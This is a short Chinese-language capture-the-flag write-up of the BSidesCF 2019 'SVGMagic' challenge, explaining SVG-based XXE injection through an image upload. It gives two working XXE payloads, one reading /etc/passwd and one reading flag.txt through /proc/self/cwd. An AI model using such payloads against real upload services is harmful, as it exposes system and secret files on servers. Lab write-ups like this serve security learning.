[BSidesCF 2019]SVGMagic 1

ZG206發表於2024-07-16

SVG注入 xxe攻擊


開啟後發發現他是SVG上傳,在這之前我沒有接觸過SVG是什麼,先去學習了一下發現他是xml注入的一種方法,也是透過js程式碼實現檔案讀取的
這是幾個我看的關於svg的文章
https://www.freebuf.com/vuls/175451.html
https://blog.csdn.net/gxyzlxf/article/details/127021934?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522172108327216800215072872%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=172108327216800215072872&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2alltop_positive~default-1-127021934-null-null.142v100pc_search_result_base4&utm_term=SVG&spm=1018.2226.3001.4187
接下來就開始解題,其實和xxe是很像的,也是按照一個模板直接上的

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="200" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

也就是這個模板
讀取的話
/etc/passwd檔案 系統使用者配置檔案,儲存了系統中所有使用者的基本資訊
/proc/self 連結到當前正在執行的程序
/proc/self/cwd當前工作目錄
嘗試注入了之後發現,passwd是可以讀到的,呢麼直接構造讀flag的

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="200" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

則可以讀到flag

總結

在這個題目裡面我瞭解了什麼是SVG注入,知道了模板大致的樣子,嘗試了SVG的注入聯絡xxe一起我認為這裡理解上應該差不多